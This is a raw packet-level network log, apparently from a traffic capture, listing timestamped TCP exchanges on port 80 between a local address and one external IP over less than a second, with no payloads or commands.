Oct 30, 2024 12:36:34.609944105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609963894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.609966040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609986067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610003948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610023022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610043049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610063076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.610074043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610095024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610100031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.610116005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610136986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610141993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.610157967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610177040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.610210896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.610281944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.616853952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622375011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622423887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622476101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622517109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622519016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622577906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622612000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622644901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622697115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622741938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622790098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622795105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622833967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622834921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622870922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622905016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622946024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.622950077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622966051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.622981071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623001099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623007059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623019934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623034954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623050928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623064995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623073101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623080015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623087883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623096943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623109102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623111010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623197079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623214960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623230934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623270988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623287916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623305082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623317003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623341084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623359919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623382092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623583078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623600006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623615026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623615980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623632908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623648882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623656988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623668909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623681068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623687983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623706102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623711109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623730898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623748064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623755932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623764992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623780012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623795033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623809099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623828888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623835087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623853922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623873949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623876095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623891115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623908997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623910904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623929024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623934031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623945951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623961926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623980045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.623986006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.623996973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624016047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624020100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624034882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624041080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624053001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624070883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624073982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624387026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624403954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624413967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624423027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624438047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624454021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624479055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624479055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624516010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624531984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624547005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624564886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624568939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624584913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624588966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624602079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624639988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624656916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624664068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624675035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624774933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624793053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624798059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624809980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624825954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624845028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624855995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624862909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624876976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624891996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624913931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.624922991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.624947071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625161886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625178099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625191927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625210047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625215054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625231981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625232935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625250101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625264883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625278950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625293970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625319958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625315905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625336885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625355005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625360966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625375032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625381947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625392914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625408888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625425100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625431061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625442028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625459909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625464916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625479937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625483036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625495911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625514984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625525951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625531912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625551939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625556946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625570059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625588894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625601053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625967979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.625992060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.625996113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626012087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626027107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626041889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626060009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626065016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626065016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626076937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626092911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626101017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626111984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626137018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626282930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626297951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626312017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626328945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626334906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626348019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626365900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626372099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626385927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626389027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626405001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626420975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626436949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626630068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626646996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626655102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626663923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626678944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626697063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626701117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626713991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626738071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626741886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626756907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626770973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626786947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626802921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626821041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626825094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626837969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626857042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626861095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626877069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626880884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626893997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626914024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626918077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626929998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626949072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.626954079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.626969099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627274036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627290964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627300024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627309084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627410889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627443075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627445936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627461910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627476931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627499104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627502918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627521038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627526045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627537012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627557039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627566099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627573967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627592087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627597094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627609015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627624989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627644062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627650976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627664089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627676964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627686024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627702951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627718925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627738953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627747059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627760887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.627768993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.627783060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628006935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628022909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628037930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628052950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628068924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628086090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628093004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628106117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628108978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628123999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628139973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628156900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628164053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628177881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628180981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628354073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628370047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628386974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628395081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628405094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628422976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628427029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628439903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628444910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628458023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628475904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628484964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628494024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628746986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628762960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628787994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628803968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628810883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628820896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628839970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628848076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628859997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628859997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628875971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628890991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628910065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628914118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628930092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628933907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628946066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628961086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628978968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.628985882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.628995895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629013062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629019022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629031897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629049063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629053116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629065037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629081964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629091024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629103899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629103899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629388094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629404068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629419088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629434109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629451990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629457951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629467964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629484892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629492044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629501104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629518986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629525900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629535913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629554033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629558086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629724979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629748106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629750967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629769087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629786968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.629793882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.629803896 CET	80	49744	185.215.113.16	192.168.2.4
